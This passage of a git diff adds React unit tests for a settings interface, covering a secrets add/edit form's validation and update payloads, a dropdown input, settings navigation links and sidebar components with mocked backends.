+    expect(screen.getByText(I18nKey.SECRETS$SECRET_ALREADY_EXISTS)).toHaveClass(
+      "text-red-500",
+      "text-sm",
+    );
+    expect(mocks.create).not.toHaveBeenCalled();
+  });
+
+  it("requires a non-whitespace value when adding a secret", () => {
+    renderForm();
+    fireEvent.change(screen.getByTestId("name-input"), {
+      target: { value: "NEW_SECRET" },
+    });
+    fireEvent.change(screen.getByTestId("value-input"), {
+      target: { value: "   " },
+    });
+
+    fireEvent.submit(screen.getByTestId("add-secret-form"));
+
+    expect(
+      screen.getByText(I18nKey.SECRETS$SECRET_VALUE_REQUIRED),
+    ).toBeInTheDocument();
+    expect(mocks.create).not.toHaveBeenCalled();
+  });
+
+  it("creates a trimmed secret, refreshes both secret lists, and closes after settlement", async () => {
+    const user = userEvent.setup();
+    const { invalidate, onCancel } = renderForm();
+
+    await user.type(screen.getByTestId("name-input"), "NEW_SECRET");
+    await user.type(screen.getByTestId("value-input"), "  secret value  ");
+    await user.type(screen.getByTestId("description-input"), "for deployments");
+    await user.click(screen.getByTestId("submit-button"));
+
+    expect(mocks.create).toHaveBeenCalledWith(
+      {
+        name: "NEW_SECRET",
+        value: "secret value",
+        description: "for deployments",
+      },
+      expect.any(Object),
+    );
+    const options = mocks.create.mock.calls[0][1];
+
+    expect(invalidate).not.toHaveBeenCalled();
+    expect(onCancel).not.toHaveBeenCalled();
+
+    await act(async () => options.onSuccess());
+
+    expect(invalidate).toHaveBeenCalledWith({ queryKey: ["secrets-search"] });
+    expect(invalidate).toHaveBeenCalledWith({ queryKey: ["secrets"] });
+    expect(onCancel).not.toHaveBeenCalled();
+
+    options.onSettled();
+
+    expect(onCancel).toHaveBeenCalledOnce();
+  });
+
+  it("omits an empty optional description when creating", async () => {
+    const user = userEvent.setup();
+    renderForm();
+
+    await user.type(screen.getByTestId("name-input"), "NO_DESCRIPTION");
+    await user.type(screen.getByTestId("value-input"), "value");
+    await user.click(screen.getByTestId("submit-button"));
+
+    expect(mocks.create).toHaveBeenCalledWith(
+      { name: "NO_DESCRIPTION", value: "value", description: undefined },
+      expect.any(Object),
+    );
+  });
+
+  it("edits the selected secret without treating its unchanged name as a duplicate", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [
+      { name: "EDIT_ME", description: "old description" },
+      { name: "OTHER_SECRET" },
+    ];
+    const { invalidate, onCancel } = renderForm({
+      mode: "edit",
+      selectedSecret: "EDIT_ME",
+    });
+
+    await user.clear(screen.getByTestId("description-input"));
+    await user.type(screen.getByTestId("description-input"), "new description");
+    await user.click(screen.getByTestId("submit-button"));
+
+    expect(mocks.update).toHaveBeenCalledWith(
+      {
+        secretToEdit: "EDIT_ME",
+        name: "EDIT_ME",
+        description: "new description",
+      },
+      expect.any(Object),
+    );
+    const options = mocks.update.mock.calls[0][1];
+
+    expect(invalidate).not.toHaveBeenCalled();
+    expect(onCancel).not.toHaveBeenCalled();
+
+    await act(async () => options.onSuccess());
+
+    expect(invalidate).toHaveBeenCalledTimes(2);
+    expect(onCancel).not.toHaveBeenCalled();
+
+    options.onSettled();
+
+    expect(onCancel).toHaveBeenCalledOnce();
+  });
+
+  it("rejects renaming an edited secret to an existing name", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [{ name: "EDIT_ME" }, { name: "OTHER_SECRET" }];
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+
+    await user.clear(screen.getByTestId("name-input"));
+    await user.type(screen.getByTestId("name-input"), "OTHER_SECRET");
+    await user.click(screen.getByTestId("submit-button"));
+
+    expect(
+      screen.getByText(I18nKey.SECRETS$SECRET_ALREADY_EXISTS),
+    ).toBeInTheDocument();
+    expect(mocks.update).not.toHaveBeenCalled();
+  });
+
+  it("omits an empty edit description and does not edit without a selected secret", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [{ name: "EDIT_ME" }];
+    const selected = renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+    // The edit submit is enabled only once the form is dirty; typing a
+    // replacement value enables it while the description stays blank, so the
+    // empty description must still be omitted from the update payload.
+    await user.type(screen.getByTestId("value-input"), "new-value");
+    await user.click(screen.getByTestId("submit-button"));
+    expect(mocks.update).toHaveBeenCalledWith(
+      {
+        secretToEdit: "EDIT_ME",
+        name: "EDIT_ME",
+        description: undefined,
+        value: "new-value",
+      },
+      expect.any(Object),
+    );
+    selected.unmount();
+
+    mocks.update.mockClear();
+    renderForm({ mode: "edit", selectedSecret: null });
+    fireEvent.change(screen.getByTestId("name-input"), {
+      target: { value: "ORPHANED_EDIT" },
+    });
+    fireEvent.submit(screen.getByTestId("edit-secret-form"));
+    expect(mocks.update).not.toHaveBeenCalled();
+  });
+
+  it("keeps the add submit disabled until both name and value are present", async () => {
+    const user = userEvent.setup();
+    renderForm({ mode: "add" });
+    const submit = screen.getByTestId("submit-button");
+
+    expect(submit).toBeDisabled();
+    await user.type(screen.getByTestId("name-input"), "NEW_SECRET");
+    expect(submit).toBeDisabled();
+    await user.type(screen.getByTestId("value-input"), "a-value");
+    expect(submit).toBeEnabled();
+
+    // Removing the value disables it again.
+    await user.clear(screen.getByTestId("value-input"));
+    expect(submit).toBeDisabled();
+  });
+
+  it("labels the value field differently for add and edit modes", () => {
+    mocks.secrets = [{ name: "EDIT_ME" }];
+    const { unmount } = renderForm({ mode: "add" });
+    expect(screen.getByText(I18nKey.FORM$VALUE)).toBeInTheDocument();
+    expect(
+      screen.queryByText(I18nKey.SECRETS$SECRET_VALUE_LEAVE_BLANK),
+    ).not.toBeInTheDocument();
+    unmount();
+
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+    expect(
+      screen.getByText(I18nKey.SECRETS$SECRET_VALUE_LEAVE_BLANK),
+    ).toBeInTheDocument();
+    expect(screen.queryByText(I18nKey.FORM$VALUE)).not.toBeInTheDocument();
+  });
+
+  it("enables the edit submit only when a field actually changes", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [{ name: "EDIT_ME", description: "orig" }];
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+    const submit = screen.getByTestId("submit-button");
+
+    // Unchanged form: disabled.
+    expect(submit).toBeDisabled();
+
+    // Renaming enables it; reverting to the original name disables it again.
+    await user.clear(screen.getByTestId("name-input"));
+    await user.type(screen.getByTestId("name-input"), "RENAMED");
+    expect(submit).toBeEnabled();
+    await user.clear(screen.getByTestId("name-input"));
+    await user.type(screen.getByTestId("name-input"), "EDIT_ME");
+    expect(submit).toBeDisabled();
+
+    // Editing the description enables it.
+    await user.type(screen.getByTestId("description-input"), " updated");
+    expect(submit).toBeEnabled();
+  });
+
+  it("edits only the description while keeping the existing value when value is blank", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [{ name: "EDIT_ME", description: "orig" }];
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+
+    await user.type(screen.getByTestId("description-input"), " changed");
+    await user.click(screen.getByTestId("submit-button"));
+
+    expect(mocks.update).toHaveBeenCalledWith(
+      {
+        secretToEdit: "EDIT_ME",
+        name: "EDIT_ME",
+        description: "orig changed",
+        value: undefined,
+      },
+      expect.any(Object),
+    );
+  });
+
+  it("requires a non-whitespace value to enable the add submit", async () => {
+    const user = userEvent.setup();
+    renderForm({ mode: "add" });
+    await user.type(screen.getByTestId("name-input"), "NEW_SECRET");
+    await user.type(screen.getByTestId("value-input"), "    ");
+    expect(screen.getByTestId("submit-button")).toBeDisabled();
+  });
+
+  it("ignores whitespace-only edits when deciding if the edit form is dirty", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [{ name: "EDIT_ME", description: "orig" }];
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+    const submit = screen.getByTestId("submit-button");
+
+    // Padding the name with surrounding whitespace is not a real change.
+    await user.type(screen.getByTestId("name-input"), "   ");
+    expect(submit).toBeDisabled();
+    await user.clear(screen.getByTestId("name-input"));
+    await user.type(screen.getByTestId("name-input"), "EDIT_ME");
+
+    // A whitespace-only value is treated as blank (keep existing).
+    await user.type(screen.getByTestId("value-input"), "   ");
+    expect(submit).toBeDisabled();
+  });
+
+  it("re-prefills the fields when the selected secret changes", () => {
+    mocks.secrets = [
+      { name: "FIRST", description: "  one  " },
+      { name: "SECOND", description: "two" },
+    ];
+    const { rerender } = renderForm({ mode: "edit", selectedSecret: "FIRST" });
+    expect(screen.getByTestId("name-input")).toHaveValue("FIRST");
+    expect(screen.getByTestId("description-input")).toHaveValue("one");
+
+    rerender(
+      <QueryClientProvider client={new QueryClient()}>
+        <SecretForm mode="edit" selectedSecret="SECOND" onCancel={vi.fn()} />
+      </QueryClientProvider>,
+    );
+    expect(screen.getByTestId("name-input")).toHaveValue("SECOND");
+    expect(screen.getByTestId("description-input")).toHaveValue("two");
+  });
+});
diff --git a/__tests__/components/features/settings/secrets-settings/secret-form.test.tsx b/__tests__/components/features/settings/secrets-settings/secret-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8f366aba18f62307dbd7203e35c14fc11269e0a0
--- /dev/null
+++ b/__tests__/components/features/settings/secrets-settings/secret-form.test.tsx
@@ -0,0 +1,84 @@
+import { screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { SecretsService } from "#/api/secrets-service";
+import { SecretForm } from "#/components/features/settings/secrets-settings/secret-form";
+import { renderWithProviders } from "../../../../../test-utils";
+
+const renderEditForm = async () => {
+  vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+    { name: "API_KEY", description: "Demo secret" },
+  ]);
+  const updateSecret = vi
+    .spyOn(SecretsService, "updateSecret")
+    .mockResolvedValue(undefined);
+
+  renderWithProviders(
+    <SecretForm mode="edit" selectedSecret="API_KEY" onCancel={vi.fn()} />,
+  );
+
+  // The description default is applied once the secrets query settles.
+  await waitFor(() =>
+    expect(screen.getByTestId("description-input")).toHaveValue("Demo secret"),
+  );
+
+  return { updateSecret };
+};
+
+describe("SecretForm in edit mode", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("offers a blank value field labelled for preserving the existing value", async () => {
+    // Arrange & Act
+    await renderEditForm();
+
+    // Assert
+    expect(screen.getByTestId("value-input")).toHaveValue("");
+    expect(
+      screen.getByText("SECRETS$SECRET_VALUE_LEAVE_BLANK"),
+    ).toBeInTheDocument();
+  });
+
+  it("keeps the stored value when the value field is left blank", async () => {
+    // Arrange
+    const { updateSecret } = await renderEditForm();
+
+    // Act — submit is dirty-gated, so change description while leaving value blank
+    await userEvent.type(
+      screen.getByTestId("description-input"),
+      " (unchanged value)",
+    );
+    await userEvent.click(screen.getByTestId("submit-button"));
+
+    // Assert
+    await waitFor(() =>
+      expect(updateSecret).toHaveBeenCalledWith(
+        "API_KEY",
+        "API_KEY",
+        "Demo secret (unchanged value)",
+        undefined,
+      ),
+    );
+  });
+
+  it("overwrites the stored value with the one entered", async () => {
+    // Arrange
+    const { updateSecret } = await renderEditForm();
+
+    // Act
+    await userEvent.type(screen.getByTestId("value-input"), "sk-new-value");
+    await userEvent.click(screen.getByTestId("submit-button"));
+
+    // Assert
+    await waitFor(() =>
+      expect(updateSecret).toHaveBeenCalledWith(
+        "API_KEY",
+        "API_KEY",
+        "Demo secret",
+        "sk-new-value",
+      ),
+    );
+  });
+});
diff --git a/__tests__/components/features/settings/settings-dropdown-input.test.tsx b/__tests__/components/features/settings/settings-dropdown-input.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..69f38a3040648efe9377a8b8133a0e61569b234d
--- /dev/null
+++ b/__tests__/components/features/settings/settings-dropdown-input.test.tsx
@@ -0,0 +1,97 @@
+import { describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { SettingsDropdownInput } from "#/components/features/settings/settings-dropdown-input";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+const items = [
+  { key: "english", label: "English" },
+  { key: "spanish", label: "Spanish" },
+  { key: "german", label: "German" },
+];
+
+describe("SettingsDropdownInput", () => {
+  it("shows the default selection and emits selection changes", async () => {
+    const user = userEvent.setup();
+    const onSelectionChange = vi.fn();
+
+    render(
+      <SettingsDropdownInput
+        defaultSelectedKey="english"
+        items={items}
+        label="Language"
+        name="language"
+        onSelectionChange={onSelectionChange}
+        testId="language-input"
+      />,
+    );
+
+    const input = screen.getByLabelText("Language");
+
+    expect(input).toHaveValue("English");
+
+    await user.click(input);
+    await user.click(await screen.findByText("Spanish"));
+
+    expect(onSelectionChange).toHaveBeenCalledWith("spanish");
+  });
+
+  it("filters options while typing", async () => {
+    const user = userEvent.setup();
+
+    render(
+      <SettingsDropdownInput
+        defaultSelectedKey="english"
+        items={items}
+        label="Language"
+        name="language"
+        testId="language-input"
+      />,
+    );
+
+    const input = screen.getByLabelText("Language");
+    await user.click(input);
+    await user.clear(input);
+    await user.keyboard("Germ");
+
+    expect(await screen.findByText("German")).toBeInTheDocument();
+    expect(screen.queryByText("English")).not.toBeInTheDocument();
+    expect(screen.queryByText("Spanish")).not.toBeInTheDocument();
+  });
+
+  it("clears the selection when the clear button is pressed", async () => {
+    const user = userEvent.setup();
+    const onSelectionChange = vi.fn();
+    const onInputChange = vi.fn();
+
+    render(
+      <SettingsDropdownInput
+        defaultSelectedKey="english"
+        isClearable
+        items={items}
+        label="Language"
+        name="language"
+        onInputChange={onInputChange}
+        onSelectionChange={onSelectionChange}
+        testId="language-input"
+      />,
+    );
+
+    const clearButton = screen
+      .getAllByRole("button")
+      .find((button) => button.getAttribute("aria-label") !== "Show suggestions");
+    if (!clearButton) {
+      throw new Error("Clear button not found");
+    }
+    await user.click(clearButton);
+
+    expect(screen.getByLabelText("Language")).toHaveValue("");
+    expect(onSelectionChange).toHaveBeenCalledWith(null);
+    expect(onInputChange).toHaveBeenCalledWith("");
+  });
+});
diff --git a/__tests__/components/features/settings/settings-layout.test.tsx b/__tests__/components/features/settings/settings-layout.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..669dd41315774f336a6d87b9787f36369c480e67
--- /dev/null
+++ b/__tests__/components/features/settings/settings-layout.test.tsx
@@ -0,0 +1,36 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { MemoryRouter } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { SettingsLayout } from "#/components/features/settings/settings-layout";
+import { OSS_NAV_ITEMS } from "#/constants/settings-nav";
+import { SettingsNavRenderedItem } from "#/hooks/use-settings-nav-items";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+const navigationItems: SettingsNavRenderedItem[] = OSS_NAV_ITEMS.map((item) => ({
+  type: "item",
+  item,
+}));
+
+describe("SettingsLayout", () => {
+  it("renders the desktop sidebar alongside the provided child content", () => {
+    render(
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>
+          <MemoryRouter>
+            <SettingsLayout navigationItems={navigationItems}>
+              <div data-testid="page-body">page body</div>
+            </SettingsLayout>
+          </MemoryRouter>
+        </ActiveBackendProvider>
+      </QueryClientProvider>,
+    );
+
+    expect(screen.getByTestId("settings-navbar-desktop")).toBeInTheDocument();
+    expect(screen.getByTestId("page-body")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/settings/settings-nav-divider.test.tsx b/__tests__/components/features/settings/settings-nav-divider.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0a0982998fd068a582f1c470c4a0de544b758c00
--- /dev/null
+++ b/__tests__/components/features/settings/settings-nav-divider.test.tsx
@@ -0,0 +1,25 @@
+import { render } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { SettingsNavDivider } from "#/components/features/settings/settings-nav-divider";
+
+describe("SettingsNavDivider", () => {
+  it("should render the divider element", () => {
+    // Arrange & Act
+    const { container } = render(<SettingsNavDivider />);
+
+    // Assert
+    const divider = container.firstChild;
+    expect(divider).toBeInTheDocument();
+  });
+
+  // Prop-passthrough contract: consumer-supplied className must land on the
+  // element.
+  it("should accept custom className", () => {
+    // Arrange & Act
+    const { container } = render(<SettingsNavDivider className="custom-class" />);
+
+    // Assert
+    const divider = container.firstChild;
+    expect(divider).toHaveClass("custom-class");
+  });
+});
diff --git a/__tests__/components/features/settings/settings-nav-header.test.tsx b/__tests__/components/features/settings/settings-nav-header.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..48cbc0f8c7027e108f6b79a9bc5657b4752f5d9d
--- /dev/null
+++ b/__tests__/components/features/settings/settings-nav-header.test.tsx
@@ -0,0 +1,28 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { SettingsNavHeader } from "#/components/features/settings/settings-nav-header";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("SettingsNavHeader", () => {
+  it("should render the translated header text", () => {
+    render(<SettingsNavHeader text={I18nKey.SETTINGS$PERSONAL_SETTINGS_HEADER} />);
+
+    expect(
+      screen.getByText("SETTINGS$PERSONAL_SETTINGS_HEADER"),
+    ).toBeInTheDocument();
+  });
+
+  // Prop-passthrough contract: consumer-supplied className must land on the
+  // element.
+  it("should accept custom className", () => {
+    const { container } = render(
+      <SettingsNavHeader
+        text={I18nKey.SETTINGS$PERSONAL_SETTINGS_HEADER}
+        className="custom-class"
+      />,
+    );
+
+    const wrapper = container.firstChild;
+    expect(wrapper).toHaveClass("custom-class");
+  });
+});
diff --git a/__tests__/components/features/settings/settings-nav-link.test.tsx b/__tests__/components/features/settings/settings-nav-link.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..95142ffbdc1cea4f27dd3b762eff6c765f27b445
--- /dev/null
+++ b/__tests__/components/features/settings/settings-nav-link.test.tsx
@@ -0,0 +1,79 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { SettingsNavLink } from "#/components/features/settings/settings-nav-link";
+import { I18nKey } from "#/i18n/declaration";
+
+const mockNavItem = {
+  to: "/settings/test",
+  icon: <span data-testid="test-icon">Icon</span>,
+  text: I18nKey.SETTINGS$NAV_API_KEYS,
+  subtitle: I18nKey.SETTINGS$PAGE_LLM_SUBLINE,
+};
+
+const renderSettingsNavLink = (
+  item = mockNavItem,
+  onClick = vi.fn(),
+  currentPath = "/",
+) =>
+  renderWithProviders(<SettingsNavLink item={item} onClick={onClick} />, {
+    navigation: { currentPath },
+  });
+
+describe("SettingsNavLink", () => {
+  it("should render the link with icon and text", () => {
+    // Arrange & Act
+    renderSettingsNavLink();
+
+    // Assert
+    expect(screen.getByRole("link")).toBeInTheDocument();
+    expect(screen.getByTestId("test-icon")).toBeInTheDocument();
+    expect(screen.getByText("SETTINGS$NAV_API_KEYS")).toBeInTheDocument();
+  });
+
+  it("should navigate to the correct route", () => {
+    // Arrange & Act
+    renderSettingsNavLink();
+
+    // Assert
+    const link = screen.getByRole("link");
+    expect(link).toHaveAttribute("href", "/settings/test");
+  });
+
+  it("should call onClick when clicked", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onClick = vi.fn();
+    renderSettingsNavLink(mockNavItem, onClick);
+
+    // Act
+    await user.click(screen.getByRole("link"));
+
+    // Assert
+    expect(onClick).toHaveBeenCalledTimes(1);
+  });
+
+  it("should mark the current settings route as active", () => {
+    renderSettingsNavLink(mockNavItem, vi.fn(), "/settings/test");
+
+    expect(screen.getByRole("link")).toHaveAttribute("aria-current", "page");
+  });
+
+  it("should render different text based on item prop", () => {
+    // Arrange
+    const customItem = {
+      to: "/settings/secrets",
+      icon: <span>Icon</span>,
+      text: I18nKey.SETTINGS$NAV_SECRETS,
+      subtitle: I18nKey.SETTINGS$PAGE_SECRETS_SUBLINE,
+    };
+
+    // Act
+    renderSettingsNavLink(customItem);
+
+    // Assert
+    expect(screen.getByText("SETTINGS$NAV_SECRETS")).toBeInTheDocument();
+    expect(screen.getByRole("link")).toHaveAttribute("href", "/settings/secrets");
+  });
+});
diff --git a/__tests__/components/features/settings/settings-navigation.test.tsx b/__tests__/components/features/settings/settings-navigation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..eec4226782f621b441ad6b4072bfba1c6b7ce76a
--- /dev/null
+++ b/__tests__/components/features/settings/settings-navigation.test.tsx
@@ -0,0 +1,160 @@
+import type { ReactNode } from "react";
+import { render, screen, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { MemoryRouter } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { SettingsNavigation } from "#/components/features/settings/settings-navigation";
+import { SettingsDesktopSidebar } from "#/components/features/settings/settings-desktop-sidebar";
+import { SettingsMobileHub } from "#/components/features/settings/settings-mobile-hub";
+import { OSS_NAV_ITEMS } from "#/constants/settings-nav";
+import { SettingsNavRenderedItem } from "#/hooks/use-settings-nav-items";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+const llmItem = OSS_NAV_ITEMS.find((item) => item.to === "/settings/llm")!;
+const condenserItem = OSS_NAV_ITEMS.find(
+  (item) => item.to === "/settings/condenser",
+)!;
+const verificationItem = OSS_NAV_ITEMS.find(
+  (item) => item.to === "/settings/verification",
+)!;
+const acpAccessibleItems: SettingsNavRenderedItem[] = [
+  { type: "item", item: llmItem },
+  { type: "item", item: condenserItem },
+  { type: "item", item: verificationItem },
+];
+
+const baseItems: SettingsNavRenderedItem[] = [
+  { type: "header", text: "SETTINGS$TITLE" as never },
+  { type: "item", item: llmItem },
+  { type: "divider" },
+  { type: "item", item: condenserItem },
+];
+
+function renderSettingsNavigation(ui: ReactNode) {
+  return render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <MemoryRouter>{ui}</MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+describe("SettingsNavigation", () => {
+  it("renders the provided OSS navigation items, headers, and dividers", () => {
+    renderSettingsNavigation(
+      <SettingsNavigation
+        isMobileMenuOpen={false}
+        onCloseMobileMenu={vi.fn()}
+        navigationItems={baseItems}
+      />,
+    );
+
+    expect(screen.getByTestId("settings-navbar")).toBeInTheDocument();
+    expect(screen.getAllByText("SETTINGS$TITLE").length).toBeGreaterThan(0);
+    expect(screen.getAllByText("SETTINGS$NAV_LLM").length).toBeGreaterThan(0);
+    expect(
+      screen.getAllByText("SETTINGS$NAV_CONDENSER").length,
+    ).toBeGreaterThan(0);
+  });
+
+  it("closes the mobile drawer when the close button is clicked", async () => {
+    const onCloseMobileMenu = vi.fn();
+    renderSettingsNavigation(
+      <SettingsNavigation
+        isMobileMenuOpen
+        onCloseMobileMenu={onCloseMobileMenu}
+        navigationItems={baseItems}
+      />,
+    );
+
+    await userEvent.click(
+      screen.getByRole("button", { name: "SIDEBAR$CLOSE_MENU" }),
+    );
+
+    expect(onCloseMobileMenu).toHaveBeenCalledTimes(1);
+  });
+
+  it("closes the mobile drawer after a navigation item is selected", async () => {
+    const onCloseMobileMenu = vi.fn();
+    renderSettingsNavigation(
+      <SettingsNavigation
+        isMobileMenuOpen
+        onCloseMobileMenu={onCloseMobileMenu}
+        navigationItems={baseItems}
+      />,
+    );
+
+    const mobileNav = screen.getByTestId("settings-navbar");
+    await userEvent.click(within(mobileNav).getByText("SETTINGS$NAV_LLM"));
+
+    expect(onCloseMobileMenu).toHaveBeenCalledTimes(1);
+  });
+
+  it("keeps ACP-accessible settings clickable in the desktop sidebar", () => {
+    renderSettingsNavigation(
+      <SettingsNavigation
+        isMobileMenuOpen={false}
+        onCloseMobileMenu={vi.fn()}
+        navigationItems={acpAccessibleItems}
+      />,
+    );
+    const desktopNav = screen.getByTestId("settings-navbar-desktop");
+    for (const item of [llmItem, condenserItem, verificationItem]) {
+      const link = within(desktopNav).getByTestId(
+        `sidebar-settings-${item.to}`,
+      );
+      expect(link).toHaveAttribute("href", item.to);
+      expect(link).not.toHaveAttribute("aria-disabled");
+    }
+  });
+});
+
+// Focused unit coverage for the two components extracted out of this file.
+// The ``SettingsNavigation`` suite above already exercises the behaviors both
+// surfaces share (close button, item-select dismissal, the desktop
+// disabled/tooltip wiring). These cover each extracted component's distinct
+// contract that the composite does not assert.
+describe("SettingsDesktopSidebar", () => {
+  it("renders a navigation link for each item entry and excludes headers and dividers", () => {
+    // Arrange + Act: baseItems holds one header, two items, and one divider.
+    renderSettingsNavigation(
+      <SettingsDesktopSidebar navigationItems={baseItems} />,
+    );
+
+    // Assert: only the two ``item`` entries become links — the header and
+    // divider are filtered out of the desktop rail.
+    const desktopNav = screen.getByTestId("settings-navbar-desktop");
+    const links = within(desktopNav).getAllByTestId(/^sidebar-settings-/);
+
+    expect(links).toHaveLength(2);
+    expect(
+      within(desktopNav).getByTestId("sidebar-settings-/settings/llm"),
+    ).toBeInTheDocument();
+    expect(
+      within(desktopNav).getByTestId("sidebar-settings-/settings/condenser"),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("SettingsMobileHub", () => {
+  it("keeps ACP-accessible settings clickable in the mobile settings hub", () => {
+    renderSettingsNavigation(
+      <SettingsMobileHub navigationItems={acpAccessibleItems} />,
+    );
+
+    const mobileNav = screen.getByTestId("settings-mobile-hub");
+    for (const item of [llmItem, condenserItem, verificationItem]) {
+      const link = within(mobileNav).getByRole("link", {
+        name: item.text,
+      });
+      expect(link).toHaveAttribute("href", item.to);
+      expect(link).not.toHaveAttribute("aria-disabled");
+    }
+  });
+});
diff --git a/__tests__/components/features/sidebar/sidebar-cloud-settings.test.tsx b/__tests__/components/features/sidebar/sidebar-cloud-settings.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..199e4153ce60f4acfac04d7bb4549fa5c8b0b90b
--- /dev/null
+++ b/__tests__/components/features/sidebar/sidebar-cloud-settings.test.tsx
@@ -0,0 +1,282 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { Sidebar } from "#/components/features/sidebar/sidebar";
+import { SidebarMobileNavProvider } from "#/components/features/sidebar/sidebar-mobile-nav-context";
+import { SidebarMobileMenuBar } from "#/components/features/sidebar/sidebar-mobile-menu-bar";
+import { useSidebarStore } from "#/stores/sidebar-store";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import translations from "#/i18n/translation.json";
+
+// The global `useTranslation` mock in `vitest.setup.ts` returns the key
+// as-is. Override it here so `t(...)` resolves keys via the source-of-truth
+// `translation.json` (English values), letting the test assert real
+// user-facing labels rather than raw keys.
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...(actual as object),
+    useTranslation: () => ({
+      t: (key: string) => {
+        const entry = (translations as Record<string, Record<string, string>>)[
+          key
+        ];
+        return entry?.en ?? key;
+      },
+      i18n: { language: "en", exists: () => false },
+    }),
+  };
+});
+
+const cloudBackendMock = {
+  backend: {
+    id: "cloud-1",
+    name: "Cloud Backend",
+    kind: "cloud" as const,
+    host: "https://cloud.example.com",
+    apiKey: "test-key",
+  },
+  orgId: "org-1" as string | null,
+};
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({ data: { feature_flags: {} } }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: { email_verified: true },
+    error: null,
+    isError: false,
+    isFetching: false,
+  }),
+  getErrorStatus: () => undefined,
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackendContext: () => ({
+    backends: [cloudBackendMock.backend],
+    active: cloudBackendMock,
+    setActive: vi.fn(),
+  }),
+  useActiveBackend: () => cloudBackendMock,
+}));
+
+vi.mock("#/hooks/query/use-backends-health", () => ({
+  useBackendsHealth: () => ({
+    "cloud-1": { isConnected: true },
+  }),
+}));
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({ children }: { children: unknown }) => children,
+}));
+
+vi.mock("#/components/shared/buttons/openhands-logo-button", () => ({
+  OpenHandsLogoButton: () => <div data-testid="logo-button" />,
+}));
+
+vi.mock("#/components/features/sidebar/user-actions", () => ({
+  UserActions: () => <div data-testid="user-actions" />,
+}));
+
+vi.mock("#/components/features/conversation-panel/conversation-panel", () => ({
+  ConversationPanel: () => null,
+}));
+
+vi.mock("#/components/features/sidebar/sidebar-onboarding-checklist", () => ({
+  SidebarOnboardingChecklist: () => (
+    <div data-testid="sidebar-onboarding-checklist" />
+  ),
+}));
+
+vi.mock(
+  "#/components/features/conversation-panel/conversation-panel-wrapper",
+  () => ({
+    ConversationPanelWrapper: () => null,
+  }),
+);
+
+vi.mock("#/components/shared/modals/settings/settings-modal", () => ({
+  SettingsModal: () => null,
+}));
+
+vi.mock("#/components/features/settings/agent-canvas-version-tile", () => ({
+  AgentCanvasVersionTile: ({
+    hideWhenUpToDate,
+  }: {
+    hideWhenUpToDate?: boolean;
+  } = {}) =>
+    hideWhenUpToDate ? (
+      <button type="button" data-testid="agent-canvas-version-tile">
+        Agent Canvas version
+      </button>
+    ) : null,
+}));
+
+vi.mock("#/components/features/backends/backend-selector", () => ({
+  BackendSelector: ({
+    onSelectOption,
+    onOpenAddBackend,
+    onOpenManageBackends,
+  }: {
+    onSelectOption?: () => void;
+    onOpenAddBackend?: () => void;
+    onOpenManageBackends?: () => void;
+  } = {}) => (
+    <div data-testid="backend-selector">
+      <ul>
+        <li
+          data-testid="mock-backend-option"
+          role="option"
+          aria-selected={false}
